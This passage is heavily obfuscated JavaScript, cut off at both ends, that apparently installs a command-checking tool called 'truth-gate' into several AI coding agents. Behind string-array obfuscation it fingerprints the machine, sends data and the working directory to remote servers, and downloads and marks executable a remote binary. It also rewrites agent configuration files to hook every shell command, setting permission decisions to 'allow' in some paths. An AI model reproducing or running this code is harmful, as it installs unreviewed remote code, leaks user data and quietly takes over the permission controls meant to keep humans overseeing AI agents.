J3mGbGmDDmkZk2mwWPGMWO4zWRPeA8o0a8kOo8o3fEkcRvxdShhdKem8vgHfW7BdMmk4WRddOa3cUCkrswaMW5zNEmoOWRtcSZmMtsyBWOFcHmk1WOm4b8kFWOmaW7T2wSk/DmoJW6pdQGy6W55iWPhcGCkzsG','o3NdHG','W7ZcQCo3i8ohWRbMW5xdRJyHn8kQaCkyA8kxedrq','xSo7rSkw','WP4WW4v1','kZ4vuq','WOlcVSoGla','WOhcHSojiW','pIbuxNBcN8o7W5pcVSoO','umkMDJ5T','WOZdU8oFlmowW7nZW5xdIbain8o2gSkvkSkifd4mcsRcJCoOWQ/dPmkgW6jZeSksWRGjpCoRj8kbBmkOlLbUhcldQSkLW4pdTCk9WOv1mHiZWPrwdtBcUSkKkW','WO1SWR8','W7RdU8oz','CmolpmkB','WOZdKY4voSkCw8kglCoPjCk2WPe','zqrm','W6SJW7Hzhaz5W57cRG3dJYLnvepdHmo1WOJdR8kpaNtcVNPdW5dcUHbtuSou','W5FcOmkLWRVcNMr+sf83','WPOYl8oyWQ06iW','DmobomozWRe','pCo3W7St','WOqbp8kI','WQFdLcqDfa','WR3dTWfPWRCnbCkfWRusA0v2WQzNWQNdRLRcRCoakCk7vq','W6JdH8o5jurXW63cO8oTfGvdFG','m1qzmG','psPxt23cGSo0W4xdVmoUnsddQW','W73dMwpdLM/dSmkfkhnBcrv6W44sW71Heq','W4aWr1i3WOm','W7ddRqTL','W7DmWQ5h','W4/cS8o9kSoj','l20YW5VdKCkQW44','WQfSo8oVWQeziI/cK3e','gCojzL43q14LW4y','W6mNm10','WOrGWRbVuXbJWPVcJGRcIYvnuXFdRmoDW4tcQSkyfcBcSMrk','W4ySrJ7dSmkpgq4','sSk/W4y1aqjewSo0W4VcTmkAcr3cVSoXdGy','ycWM','W65xWQ8','WODLECkeW71IEs7dP3SLpCko','WOKktZZdR8kljajeymodW5zGW6vCWRSyr8kbcW','W586rfa','WRqGgSokaq','WOGarZxdTmkj','WR8NemocgtBcPX7dUCkZ','FCkUW4O','afpdRmkL','owOUW54','wCk4lYC','k8oWW60EhSk1W7zMW684jf3dJ1K','WOhcLCo3gCoqWRX0WPZdJXa','sSk/W4y1iq','W6JdH8o5jxi','WQzMWPaEWRCu','hmoosmkZWOHhWPhcH8on','WOxcNCoAmIy','lmkafCkkWPrpWP/cK8ovcqVcK8oCW6lcS8k7Dmo5W4hdJSk+zJZdHhFcRCo1uCo7uHj5cCo0WP7dQSoBpSo6','pJPquW','WQC/BW','WOlcJSobnsy','Ed0YfuC','oxOVW5VdR8k8W58BWQZcGc3cKCkthmolWRldTSkf','WPtdNtuw','WP8UrMC2ga','W7mAbSoQWOCyaZhdGL4OdCkM','mvaAmd/dGq','W6m6B25+WPz+WQ0','gCk0itldGSkleJy6','WQ8wy1Cal8kUWOxcRG','BbJcV8k3WR7cOH8','a8kRgSohWQ5OWRrpWPddOX1eWPy','W7PZhfdcPmocWQC','W5OAWPzz','W4qNjCoxWQe','cq/dU8k5','W6n3W6FdS8kZjtWlw8oc','W6fWECoUacpdSfpdPcyhWRtcUtNdSSk+WRNcQfldKaS6W6SJpmkzWQRcLmoiWPxdQsNcNCoNW6BcQv5/W5NcUgfwW6RcP3/dGdlcNam+W7VdH00Pza','W6xdMSoKixm','pZOdbColW4qlqwJdKvVcQbb5r8o2','WROwB29qWPz8WQu','WR58WP4DWQW','xSk3is7cMCkfbcO','s8k+W4OYjXzesG','vSkoc8oRW5zUWOdcKmoznvO','DSosoCkdW7ywmuPjWRtdQG','WRSXFh0','WR0IrhlcOSotWR1lW4a','j8kdyCkGW6m4keTo','W57cVSo5oSonWR0','W6iBWRu','W4yWk8ogWQS6','Bta/cuFcOW','uSkXW502','W440wL0','W6j1fG','qSkxu8k0WPvuWPNcJCoy','WOakuca','WO4Ommoi','nHtcVSkKWQhcKG5cWQxcUCoa','WO0RW4a','gSoHWPTMyeavwmovW7FcKSk3fW','W7iSgSopbNlcRGRdQa','yqreW6Tv','W7OhWRhcPgH4W7m','WPS/E2hcImoBWOalWR7dTHS','s8kaW6qYW7iIcGO9sM7cGeT6W5FcUYVdQ0HpW4ilW7tdRfNcNSksWPldTrzEAmoxnG4tsx9TWRZdPtFcGhBcGMaZW5DEWPFcP0/cSmk1n8kHW5JdOCoLkG9iW6L1W6ZcVHhdUvPqW63dSda3pZ0aWQBcGb3dTdetjmk8hCo8WOrECu0/qCoebCo/dmo6W6ZcJ8kDndiXW5/dQ8ouDIXKWR7dKmoMW5r8W7dcVLFcIvJdRvj8WRvVWRJcPmomWOtcLIi2wmoiW57dH197WRZcVdpdNSktWR3cR10HWRrBWPRcQ8ozdCk9l8k7fSoSWPKrbr/cS8kBW75WWO3dUCk8WQTclN95WPJdSeBdImokqSk8hSogW7RcHmohW7yQemkqcmopW47cQrznW74dfgVcLt5RxSkpegqCs8oCCCkTfCkShGFdUrpcIrfzWQZcP8k5W4RdO2BdH8k7W759WPTlW4NdTSktW65jW4KkWRZcKhC/vmoGjwdcJ8kFmCkHWQb2W6r7FCkqWOldU1RcV8k2ymovWRNdPWTqrSoBW4avW5hcRSktW5qCW6PuWQaRW6mgW7NcMxFcGCoAW5HQFhTNys9PtcqDWQnIENa/rJjyg8oBcmklW4hcRhNcGf3dHmkcW6bXefldV8osy8obmuOuWR/cSmohB8oZd8oMWRBcTuzTWPTSW4FdJcKbW6RdMwikgSoFhSoclCkpomklr8kzfmoHW4FcLY3dVCo5ESoQWOqEW6Dfp8ouhSoBwIL2daf4WOewbMztCx/cHWDcqYJcKMNcUM/dQCkfqSoxm3iIW6ddNxpdT2BcGIfwemk5sezeWPzjwSkEWQPeomkbtCk1mSkFeSk7WRXIqSoaWONdVCoUpCo3WPvOWQTDWOZdPGj4wSk8W6ZdTgVcQc9bW7rlWPlcSdpcLNtdUYmPW5hcTmkfDJVcHSoSssTqmJ5cWRr/W63dM8k+W5K+g8o9WQnso8kzoKtcILOLWPZcLY3cIruwW4/cL8oYqruHW57cSLhcMuTOWP1HbCo0s8oNlXpdHSk8rN3dHrddN8k9W6VdJh8uASoDkchdJK5AWQ5VySkUoMG3W5JcLCo3WPhcKCklcSoKh37cHuawmCosw3eBbhVdH8o6DHC1WPBdJsBcSYD8yr5aWPfi','psboxG','WO4+lW','WPGardy','W6FdK23dMvpdRSkmmG','gs8EamomW45kDK3dTXxcQfPlrSoSWRDsW7LRWOJdSSotW6y','WP0qn8o9W6BdGG','tSkyW7i','bWxdVmk+WOdcPIxcOXSYi0mTW57dK2pdPSoCrSkkWPCIjNH+WPNcNCk3W6isW7WJCYHsWQ3dTNddUZJdOSk2oZO','lsuEda','bGf7','tSkaW7T/W7HSbZTXastcPq','x8kpW7aqemo9fmkDyvv2pmk2','WPG1tw4BbmoHWOxcRW','WRhcU8kb','WQjWW77dQ1xcISobDCojWRjfhq','WO7dRqfEWRnysCkPWQKc','W7ZcTmoRpCo2WRX9WPNdTGyu','c8o+WQm','bHJdU8kJ','W6a8napcJq','zSohmCkaW7a9','WRfSWQT0jXXKWPlcUbldGW','s8kgW7PMW7XW','W7JcRse','WOzxW40dWPDhC8kIW4hcICkatq','W4bXW6pdLCkOANj8cmkf','W7ldTSoFv1tcT0VdUSkSW7e','lNn+','W6qHo0ldI8krsHCGqG','W7hdK2/dKv3dSSkf','WRNdUGLJWRjE','oSojx8kOW4THWP/cHmoAea','W7fmWQKlpmkx','WPSZtgy3h8oYWO4','WQNdRq1+WRK','abxdOmkKWORcSa','W5bQW6/dISk9jdq','hmooxSk1WPnu','nXxcVSkSWQe','hCk3xSkDW7qWW7fUWPRdMHy','nCktfSkdW6WSk1enWPZdL8ket3/dJ8onWO5HzLL0','WPGdqdddUa','tqxdQSkY','FavkW6XpqfG','ycWZ','WP/cJSoqkta','W75OgfVcV8or','WPGcumk9','WRKqBMDGWOjIWQ8','WQbMWPDs','phpdMa','W5tcV0ryWRLAsSkkWRmjkXnqW653WRNdObdcO8kptW','WO4OkCovfYJdSq','lc8qhmoqW5qdq2q','dGuGpq','WQSvC2y','W7P/aKe','W58HseC3WPGvWRPVoG','C1ammG','W7BdJCoKkMHKW7W','W7VcTY0VW7XnF0GYW5i','aSozsSkjWOnsWO7cHmogfW','W4BcT8k6WRJcS3K','W4n4CCkstMtcVG3dR3zdW6u','WOxdJIyi','yJm5','WRCQdmos','W54mWQtcLxrYW6VcVCk8nq','W6yrWQ7cQMG','W7VdL2hdMa','WR4gk8otWQf0pGBdRxWskmkrzCknW6pcHSkuBXJdNSk4BSklea','smkxW79M','nwtdLSkfAwNcJeW','W4KTwvWXWO4M','W58Wxq','eqxdOSk7WOtcOw4','W6fnWROmjSkw','rmo/wmkh','WQ5QlCotWRyobYlcHg50W4hcThNcVtzlcx3cJa','bSk7W5P+B1ifxmoZW5VdP8k6dI3cICokjcldRCkJWQW0ASk7lrFcVdJdPCoKWO5OW6BdM8oDqCoWWOtdJ8orWReUW4hcRSoTW71lbgRcQmk9W6SfW7aNE8ozW4L2WRFdS3/cMdlcPHm4C2PYWOGmW4jmW5LdF8kqWRW1WOtdNM98WRhdTHCmvG5YW6TtW5VcJCk+W7vFDxxcGbBdVwvxW7eoW6mMWOtdSwtcGMuqEhZdTmoyumklW4VdGZZcQ8obpxmVf8kgrmo7W4BcT8oueNpcNNFdTY7dT8oqWRnXW5RcKL14e8kDWRddLcpcNmkXdmoYxSkiW6i3f8oAWQVdTCo8Emo4WQFdJg/cQCkdavpdHmkiW5jcD8o5WPpdGSoZusi0WO9KhtWFW6JdUSo6sstcQ8o8kXCwwmoOWRlcT1dcPYrlkJySWQyRcdBdGh0BW6lcMCoSW6tdJvFdLSksDSkYuCoYW4JcMCkCW5hdTCkDEMrqkahcVMvrW4ddIsVcUmooW4dcKfijsc7dLSoRWQldU8ovCmo6vmoYWODusSkFiCk9q8ovCHlcTLtdNSoDWPVdRmkuBSo+aYyVWO9jW5nbWRNcStWSpNlcQKenpSkBCtJcR8kEW53dJCoqW60hgdZdSCkTfu0BWQH3WRFcIGvVWQngW5hcRCk4nt0jWRaDzgSRnxdcQ8o3W5BcUXtcLSo+WQtdP8oCWQuSWOz/nxxdVSkFW70vWPmbWP0pWRvGEb7cGmkRfCkhvxtcNxHrWRXev8ogW7BcHCkVkSkobYaxFmoSW4/dSu7cQSkuW5ZcPSo3WOhdLCktvmobW6ZcKSkeW6LSWRFdL8kpWRBcOMhdIrddT8koothcLaCkl8ocb8kHWOhcUCkiWRbzimkOW6TDW5KYWQ/dN0JdI8ojW6HApKq4iSktWRxcOhrpW6iuW4yocX5aW7FcHmkOnmoKW6j9W74MbCkGW4LaxCoffsiSleWjWPPFceGpWPq/W6abWOpdNKGqqqT8DCkuq8kOW4RdNmoBdXjoW74bjGFdIJRdKSo9W4FcUg3dLwhcTMdcU1zFkqxcUKJcQmkrbSkLqs5CW5f6Dg52W6tcT8keqSoiba3dHCouEKldQcWHdSkuWOeHgNKKWOFcNSkmFK5WWRuCW4ldHmkvcgVdTaVcVqOpWOLwW4RcGKtdV8kQdSoqAYqdW7FdVsJdQ8kRcmkZW5hcVCk9hCoBiCorW5ePfCkxWPK8tSoZhSkyywb2mSoRW4fZbmoEWP0nWQ3cGhK5A8oNWQRdTqfWD8kpBvVdI8oVWRagjCoGw2L7umkutSo8W6rpW5BcMSonW4NdKK3dJmkDWPVdP15zgSkzWQNdTCoJWQRcMhDwcCkMW50cetaKsmoFW7lcIXPlwmoPW4nMW4eBfmoeWRjvW6TsW6uFWQRdQ0GXC8kQdWXeAfyDEg5wC2mjW7/dK8o6WOLZW5qDcfxcLNOWdN0+W654z8kzW6JdLh3dGrxcVq1ZW4DbWPJdQSogW7GfW5fJW5LtsJOErLq/vCkpgCo+cCoJW5hdQe3cTCoaW7hdO8oGW7pdP8kfWRldOWb2WRzDaemPnh/cGmonmGFcJLPnW7xcGcSUrYz1jCkhWRdcK8ksW4RcP8kUFx5dWR7dVmkxqSklW5Lli8kwW67cV8o7W4RcUmo6WPtcHmkahuxdKJFdRCk1WOrKWR7cNmkwcZ/dSbHSdSklWPhcQSk9W4OnWRiYr8o7W43cMCoYlWv7W43cLfRdOJVdVYRdG8k4mJSHW7JcOmkeWQhdV8o9W53cKCkVvWxcT8kfsdOwrmk9wH5Mb8obwK7cHSoIW6a','DmkVW5S','WR0jBgPN','W6BdGM3dIuNdSW','DmoJBrlcNSkobIS1n3VdHmoxc8ojh3JcL8k9W5SMWP0WWR7cISohC8odW717bmokW6e','A8k0W507jSoc','Amk7FafXW5BdJmkcWPBdPW','W5VcS8oH','W5PIW6ZdImkUlW','WPXGomoiWPaeoYBcThf9','wSk7Fdr1','WR0/bCong3JcOqVdPmk5lYiEtmoHka','WQddHSo5oIfJW63cUCo8oXblFW','WOOxtvVcImoNW4ekWO8','W5OnWOXa','W7iNgSomf3NcOqZdQa','WPvTW6xdUG','rCoCjSkBW5eMkKL4WQBdTG','r8kSmsO','ix4U','Bq5fW7K','wmo1rmkyW64','WQSxDG','WRJdRqfVWOnfqmkrWRSoiLP9W6e','q8oQr8kAW6K','W5fQW6BdNG','W58HtvO2WP8','W4TpFtVdUmkavXHuySkvWRm4W65pWRzmBSkjcSknWRVcVXBcLSoKiSkip2RdU8kmW4FcKg7cQmkDWPxdMCkMWPKcWPhdTCoLn8kfW4BcRsdcJ1tdGK3dKCotCSkB','ahpdJmkfFMNcH0xcHalcJG','W4/cOmkT','WRKAnmo/W7ddI8owtG','WROwu3DHWP5+WQ4','FJ06ou3cOG','gCoFsmkPWO9pWPy','W6j/h1lcV8oF','WPKUW41VWRm','W786nvVdJa','ohpdKmkAwq','uCkGW4u3jG','W6dcH8kpWPtcILjaAMubW6S','arpcR8kMWQy','W5ldJ8ktzJhcRLn8jc9GW4es','iaJdT8k0WO4','d8oNW64um8kIW4DKW6e9','WRT9iSoiWQe','W7fxWQuA','W4ldN2ldMu/dTCksltOvltvLWPi','WRSXEMBcUq','W6/dSmoDAvJcTK7dTSkXW6ZcVuWKWROXWO1Ax1CbW5lcU8kiWQG','WQb5gvdcQmoC','WOmqoSoVW6ddMComxva','WRSIpmoOcIldUxhcTZO','kMG5','EI43eq','WPCCnCoUW7FdMa','WQrGjmoxWRC','W5KZBSkIWRa/bW','lNWChu/cP294W53cVSkFb8kfWOtdTmkXp8o7','W4a/W4T/WRmJW7BcIG','W43cTSo5m8onWR1J','WQSvBL0hjSojWQ3cHmkeWP5eW6a'];a0A=function(){return aY;};return a0A();}function C(q){const at=a0B;return!!w(q[at(0x327,'MGi]')])||!!q['args']?.['some'](z=>w(z));}function T(){const av=a0B,A=(function(){let D=!![];return function(E,F){const G=D?function(){if(F){const H=F['apply'](E,arguments);return F=null,H;}}:function(){};return D=![],G;};}()),B=A(this,function(){const au=a0B;return B[au(0x2f4,'T9L!')]()[au(0x374,'XQEW')](au(0x29e,'BKF3'))[au(0x13c,'[5C(')]()[au(0xcc,'aCPR')](B)[au(0x14a,'S#2O')](au(0x2c5,'O^M1'));});B(),(console['log'](av(0x1c8,'N[mr')+k+av(0x365,'aCPR')),process[av(0x27d,'O^M1')](0x0));}const P=process[a0aw(0x2c6,'XQEW')][a0aw(0x33b,'MGi]')](0x2);function S(J,K,L){const ax=a0aw;if(K){const W={};W[ax(0x135,'3xwr')]=ax(0x1f4,'bAhZ');const X={};X[ax(0xa2,'N[mr')]=ax(0x32f,']ax8');const Y={};Y[ax(0x228,'XQEW')]=ax(0x94,'1q$d'),Y['permissionDecision']='allow';const Z={};Z[ax(0x240,'1q$d')]=Y;const a0={};a0[ax(0xa1,'3xwr')]=W,a0['gemini']=X,a0[ax(0x1b4,'0Xuv')]=Z;const a1=a0;return process[ax(0x96,'tto%')]['write'](JSON[ax(0x17c,'Ar6f')](a1[J]||a1[ax(0x87,'tQif')])),void(process[ax(0x39d,'@@[k')]=0x0);}const M={};M[ax(0xa2,'N[mr')]=ax(0x1ea,'y6qr'),M[ax(0x157,'C5(l')]=L;if(ax(0x35c,'1q$d')===J)return process[ax(0x3b7,'icf&')][ax(0x2a8,'Rppb')](JSON[ax(0x1dc,'3R6X')](M)),void(process[ax(0xaf,'9NtW')]=0x2);const N={};N[ax(0x392,'C5(l')]=ax(0x210,'[n0C'),N['agent_message']=L;const O={};O[ax(0x232,'1d4H')]=ax(0x1f1,'icf&'),O['permissionDecision']=ax(0x2e9,'LX%0'),O[ax(0x305,'S#2O')]=L;const Q={};Q[ax(0x8d,'C5(l')]=O;const R={};R[ax(0x2d2,'Cb3r')]=N,R[ax(0xed,'FHa%')]=Q;const V=R;process[ax(0x29a,'aCPR')]['write'](JSON[ax(0xa0,'SWlx')](V[J]||V[ax(0x351,'icf&')])),process['exitCode']=0x0;}function b(E,F){const ay=a0aw;let G=!0x0;try{const M=a0X(a0Y(),'.check',ay(0x169,'3xwr')+new Date()['toISOString']()['slice'](0x0,0xa)),N={};N[ay(0x314,'T9L!')]=!0x0,(G=a0M(M),G||(a0L(a0X(a0Y(),'.check'),N),a0K(M,'1')));}catch{G=!0x1;}const H=G?void 0x0:F,I={};I[ay(0x3a2,'V&!G')]=ay(0x17b,'!!sg');if(ay(0x2a4,'Rppb')===E)return process['stdout'][ay(0x2f8,'Rky*')](JSON[ay(0x10f,'AzwM')](I)),H&&process[ay(0x25b,'icf&')][ay(0x141,'1q$d')](H),void(process[ay(0x2ce,'&igN')]=0x0);if('cursor'===E){const O={};O['permission']=ay(0x188,'SD16');const Q=O;return H&&(Q['user_message']=H),process[ay(0x2ef,'%MgW')]['write'](JSON[ay(0x126,'bAhZ')](Q)),void(process[ay(0x1df,'BKF3')]=0x0);}const J={};J[ay(0x228,'XQEW')]=ay(0x373,'Bady'),J[ay(0x259,']p6m')]=ay(0xd2,'aCPR');const K={};K[ay(0x235,'WE1b')]=J;const L=K;H&&(L[ay(0x1f2,'%MgW')]=H),process[ay(0x2ab,'[5C(')][ay(0x253,'MGi]')](JSON[ay(0x1ac,'N[mr')](L)),process[ay(0x119,'hVmD')]=0x0;}P[a0aw(0x164,'AzwM')](a0aw(0x27b,'[5C('))&&await(async function(){const az=a0aw;let E=process[az(0x85,'Rky*')][0x3]||process.env.GOL_CLIENT_ID||'';E&&'your_key'!==E||(console['log'](az(0xc9,'3R6X')),E=await(async function(){const aA=az;try{const a0={};a0['Content-Type']=aA(0x2e0,'N[mr'),a0[aA(0xf3,'T9L!')]='c/'+k;const a1=await(async function(){const aB=aA,{createHash:a4}=await import('node:crypto'),{hostname:a5,userInfo:a6}=await import(aB(0xe0,'[5C('));let a7='';try{a7=a6()[aB(0x1dd,'SD16')]||'';}catch{}const a8=[a5(),a0Z(),a0a0(),a7][aB(0x266,'o6pi')]('|');return a4('sha256')[aB(0xc4,'SWlx')](a8)[aB(0x147,'3xwr')](aB(0xe3,'[5C('));}()),a2=await fetch(g[aA(0x37f,'1d4H')]('/preflight',aA(0x358,'SD16')),{'method':'POST','headers':a0,'body':JSON[aA(0x357,'SD16')]({'fingerprint':a1,'channel':aA(0x1bf,'XQEW')}),'signal':AbortSignal[aA(0x263,'[n0C')](0x2710)});if(!a2['ok'])return null;const a3=await a2['json']();return a3&&a3[aA(0xae,'T9L!')]?a3[aA(0x1d8,'tQif')]:null;}catch{return null;}}()),E||(console[az(0x256,'AzwM')](az(0x31c,'MGi]')),console[az(0x367,'R)mN')](az(0x224,'0Xuv')),console[az(0x229,'LX%0')](az(0x2f0,'Bady')),process[az(0x298,'o6pi')](0x1)),console[az(0x225,'9NtW')]('\x20\x20Activated.\x20120\x20free\x20checks\x20per\x20day.\x0a'));const F=await async function(a0){const aC=az;try{const a1={};a1['Content-Type']=aC(0x26a,'jEMx'),a1[aC(0x34c,'C5(l')]=a0,a1['User-Agent']='c/'+k;const a2=await fetch(g,{'method':aC(0x2bc,'jEMx'),'headers':a1,'body':JSON[aC(0x252,'[5C(')]({'command':aC(0x23e,'9NtW'),'cwd':process[aC(0x27f,'Rky*')](),'v':k}),'signal':AbortSignal['timeout'](0x2710)}),a3={};a3[aC(0x258,'C5(l')]=!0x0,a3[aC(0x2ba,'O^M1')]=!0x1;if(a2['ok'])return a3;let a4={};try{a4=await a2[aC(0x345,'[n0C')]();}catch{}return{'valid':!0x1,'expired':/expir/i[aC(0x113,'jEMx')](a4[aC(0x274,'0Xuv')]||a4['error']||a4[aC(0x323,'#j)D')]||'')};}catch{const a5={};return a5['valid']=!0x1,a5[aC(0x2cf,'%MgW')]=!0x1,a5;}}(E);F[az(0x3a0,'1q$d')]||(F[az(0x383,'Cb3r')]?(console['log'](az(0x22a,'9NtW')+E),console[az(0x2f2,'bAhZ')](az(0x268,'O^M1'))):(console[az(0x229,'LX%0')]('\x0a\x20\x20Invalid\x20Client\x20ID:\x20'+E),console['log'](az(0xdf,'tto%'))),process['exit'](0x1)),console[az(0x2f2,'bAhZ')](az(0x368,'#j)D'));const G=a0Y();let H=0x0;const I=a0J(new URL(import.meta.url),az(0x1a9,'tQif')),J=a0X(G,az(0x306,'[n0C')),K={};K[az(0x307,'3xwr')]=!0x0,a0L(J,K);const L=a0X(J,az(0x1f5,']p6m'))[az(0x183,']p6m')](/\\/g,'/');a0K(L,I,'utf8'),a0K(a0X(J,'key'),E,az(0x11d,'FHa%'));const M=az(0x20c,'R)mN')===a0Z()?az(0x2c0,'tQif'):'',N=a0X(J,az(0x2c2,'tto%')+M)['replace'](/\\/g,'/');await async function(a0){const aD=az,a1=aD(0x1b8,'WE1b')===a0Z()?'win':aD(0xa5,'3R6X')===a0Z()?aD(0x2b3,'MGi]'):aD(0x89,'6kIn'),a2='https://pub-e55366a7f5994be9be04f0e205179f4a.r2.dev/releases/truth-gate-v3.0.0-'+a1+'-'+(aD(0x22d,'aCPR')===a0a0()?aD(0xc0,'!!sg'):aD(0x1bb,']ax8'))+(aD(0x315,'3xwr')===a1?aD(0x2b0,'o6pi'):''),a3=await fetch(a2);if(!a3['ok'])throw new Error(aD(0x100,'C5(l')+a3[aD(0x2d8,'WE1b')]);if(await a0a1(a0a2[aD(0x23a,']p6m')](a3[aD(0x2ee,'@@[k')]),a0N(a0)),'win'!==a1)try{a0O(a0,0x1ed);}catch{}}(N);const O={};O[az(0x124,'WE1b')]=E;const Q={};Q[az(0x2aa,'@@[k')]=az(0x241,'C5(l'),Q['args']=['@golproductions/check','--mcp'],Q[az(0x249,'3R6X')]=O;const R=Q,V=[{'name':az(0xee,'6kIn'),'dir':a0X(G,az(0x128,'1q$d')),'file':az(0x1a5,'6kIn'),'config':a0=>(a0[az(0x92,'BKF3')]=a0[az(0x19e,'0Xuv')]||{},a0[az(0x2ea,'6kIn')]['PreToolUse']=(a0['hooks'][az(0x308,'O^M1')]||[])[az(0x1cf,'icf&')](a1=>!a1[az(0x372,'@@[k')]?.['some'](C)),a0['hooks']['PreToolUse']['push']({'matcher':az(0x1c6,'jEMx'),'hooks':[{'type':az(0x3b5,'Bady'),'command':az(0x14b,'%MgW'),'args':[L]}]}),a0[az(0x8f,'tto%')]['PostToolUse']=(a0[az(0xfe,']ax8')][az(0x296,'0Xuv')]||[])[az(0x209,']p6m')](a1=>!a1[az(0x246,'N[mr')]?.['some'](C)),a0[az(0x8f,'tto%')][az(0x325,'@@[k')][az(0x2e7,']ax8')]({'matcher':'Bash|PowerShell','hooks':[{'type':'command','command':N}]},{'matcher':az(0x33f,'C5(l'),'hooks':[{'type':'command','command':N}]}),a0[az(0x35e,'SD16')]=a0[az(0x10d,'BKF3')]||{},a0[az(0x180,'&igN')][az(0x331,'Cb3r')]=E,a0)},{'name':az(0x28a,'jEMx'),'dir':a0X(G,az(0x344,'y6qr')),'file':az(0xe7,'Rppb'),'config':a0=>{const aE=az;a0[aE(0x30c,'FHa%')]=a0[aE(0x2f9,'#j)D')]||{},a0['hooks'][aE(0x15a,'AzwM')]=a0['hooks'][aE(0xa8,'@JM*')]||[];const a1=a0[aE(0x372,'@@[k')]['BeforeTool'],a2={};a2[aE(0x193,'3xwr')]='command',a2['command']=aE(0x348,'!!sg')+L,a2[aE(0x3a7,'hVmD')]=aE(0x248,'N[mr');const a3={};return a3[aE(0x34d,'!!sg')]='.*',a3[aE(0xb2,'icf&')]=[a2],(a1['find'](a4=>a4['hooks']?.[aE(0x288,'Bady')](a5=>'check-gate'===a5[aE(0x186,'Rppb')]))||a1[aE(0xb5,'S#2O')](a3),a0);}},{'name':'Cursor','dir':a0X(G,az(0xf1,'y6qr')),'file':az(0x18b,'S#2O'),'config':a0=>(a0[az(0x2f6,'[5C(')]=a0[az(0x1e3,'Cb3r')]||0x1,a0[az(0x24f,'1q$d')]=a0[az(0x31e,'WE1b')]||{},a0[az(0x2f9,'#j)D')][az(0x39c,'9NtW')]=(a0[az(0x389,'@JM*')][az(0x32a,'y6qr')]||[])[az(0x156,'6kIn')](a1=>!w(a1[az(0x1b5,'&igN')])),a0[az(0x36a,'%MgW')][az(0x2d4,'FHa%')][az(0x95,'y**z')]({'command':'node\x20'+L}),a0)},{'name':az(0x2f3,'3xwr'),'dir':a0X(G,az(0x86,'R)mN')),'file':az(0x207,'Bady'),'config':a0=>(a0[az(0x371,'!!sg')]=a0['hooks']||{},a0[az(0x250,'1d4H')][az(0x2db,'Ar6f')]=(a0[az(0x2f9,'#j)D')][az(0x18a,']ax8')]||[])['filter'](a1=>!a1[az(0x38f,'[5C(')]?.[az(0x98,'6kIn')](C)),a0[az(0x8f,'tto%')][az(0x94,'1q$d')][az(0x1c9,'O^M1')]({'matcher':az(0xeb,'XQEW'),'hooks':[{'type':az(0x150,'!!sg'),'command':az(0x154,'R)mN'),'args':[L]}]}),a0[az(0x250,'1d4H')][az(0x2e6,'aCPR')]=(a0['hooks'][az(0x2de,'FHa%')]||[])[az(0x39a,'C5(l')](a1=>!a1[az(0x312,'T9L!')]?.[az(0x144,'ClnJ')](C)),a0[az(0x282,'LX%0')]['PostToolUse'][az(0x332,'%MgW')]({'matcher':'Bash|PowerShell','hooks':[{'type':az(0x195,']p6m'),'command':N}]}),a0[az(0x3b6,'Rppb')]=a0['env']||{},a0[az(0x9b,'jEMx')][az(0x1e7,'o6pi')]=E,a0)},{'name':az(0x338,'icf&'),'dir':a0X(G,az(0x36f,'FHa%'),'windsurf'),'file':az(0x1cb,'tQif'),'config':a0=>(a0[az(0x11a,'icf&')]=a0[az(0x17d,'MGi]')]||{},a0[az(0xcd,'SD16')]['Check']=R,a0)},{'name':az(0xc3,'AzwM'),'dir':a0X(process['cwd'](),'.continue',az(0x1d3,'Ar6f')),'file':az(0x1f9,'0Xuv'),'config':()=>({'mcpServers':{'Check':R}})},{'name':'Amazon\x20Q\x20Developer\x20(MCP)','dir':a0X(G,az(0x14d,'&igN'),az(0x386,'@JM*')),'file':'mcp.json','config':a0=>(a0[az(0x1ae,'jEMx')]=a0[az(0x133,'WE1b')]||{},a0[az(0x23b,'FHa%')][az(0x380,'y**z')]={'type':az(0x1b3,'1q$d'),...R},a0)},{'name':az(0x13e,'SWlx'),'dir':a0X(process[az(0x1d0,'FHa%')](),az(0x142,'Rky*')),'file':az(0x214,'SWlx'),'config':a0=>(a0[az(0x168,'N[mr')]=a0[az(0xc2,'T9L!')]||{},a0[az(0xc6,'BKF3')][az(0x2ff,'o6pi')]=R,a0)},{'name':az(0x197,'Rppb'),'dir':process[az(0x152,'y**z')](),'file':az(0x25f,']ax8'),'config':a0=>(a0[az(0x1fd,'Cb3r')]=a0['mcpServers']||{},a0['mcpServers'][az(0x13a,'1d4H')]=R,a0)}],W=[az(0x303,'WE1b'),'Continue\x20(MCP)',az(0x32b,'@@[k'),az(0x13e,'SWlx'),az(0x21c,'0Xuv')];let X=!0x1;for(const a0 of V){const a1=W[az(0x90,'O^M1')](a0[az(0x2cb,'WE1b')]);if(!a1&&!a0M(a0[az(0x34f,'[n0C')]))continue;const a2={};a2['recursive']=!0x0,a1&&a0L(a0[az(0x199,'icf&')],a2);const a3=a0X(a0[az(0x18d,'bAhZ')],a0['file']);let a4={};try{a4=JSON[az(0x304,'AzwM')](a0J(a3,'utf8'));}catch{}const a5=a0[az(0x9c,'AzwM')](a4);a0K(a3,JSON[az(0x1ac,'N[mr')](a5,null,0x2)+'\x0a',az(0x21f,'jEMx')),H++,az(0x1c3,'aCPR')===a0[az(0x382,'!!sg')]&&(X=!0x0);}if(0x0===H){const a6={};a6['recursive']=!0x0,a0L(a0X(G,'.claude'),a6);const a7=a0X(G,az(0x1bc,'BKF3'),az(0x1cc,'R)mN'));let a8={};try{a8=JSON['parse'](a0J(a7,az(0x32c,'LX%0')));}catch{}const a9=V[0x0][az(0x247,'Bady')](a8);a0K(a7,JSON['stringify'](a9,null,0x2)+'\x0a',az(0x22f,'3xwr')),X=!0x0;}const Y=X?az(0x260,'icf&'):az(0x2e2,'AzwM'),Z=a0X(process[az(0x196,'&igN')](),Y);try{const aa=a0M(Z)?a0J(Z,'utf8'):'';if(!aa[az(0x37a,'[5C(')]('Never\x20fabricate')){const ab=aa[az(0x200,'Rky*')]>0x0?aa[az(0xe4,'%MgW')]()+'\x0a\x0a':'';a0K(Z,ab+'Never\x20fabricate,\x20hallucinate,\x20or\x20invent\x20values.\x20If\x20you\x20don\x27t\x20have\x20it,\x20say\x20you\x20don\x27t\x20have\x20it.\x20No\x20fake\x20keys,\x20no\x20fake\x20IDs,\x20no\x20fake\x20paths,\x20no\x20fake\x20URLs.\x20If\x20unsure,\x20ask.\x20Never\x20guess\x20and\x20present\x20it\x20as\x20fact.\x0a',az(0x238,'Cb3r'));}}catch{}console[az(0x367,'R)mN')](az(0x10c,'C5(l')+E),console['log']('\x20\x20Shared\x20by\x20every\x20editor\x20on\x20this\x20machine.\x20120\x20free\x20checks/day.'),console[az(0x2d6,'3R6X')](az(0xe5,'y**z')),console[az(0x317,'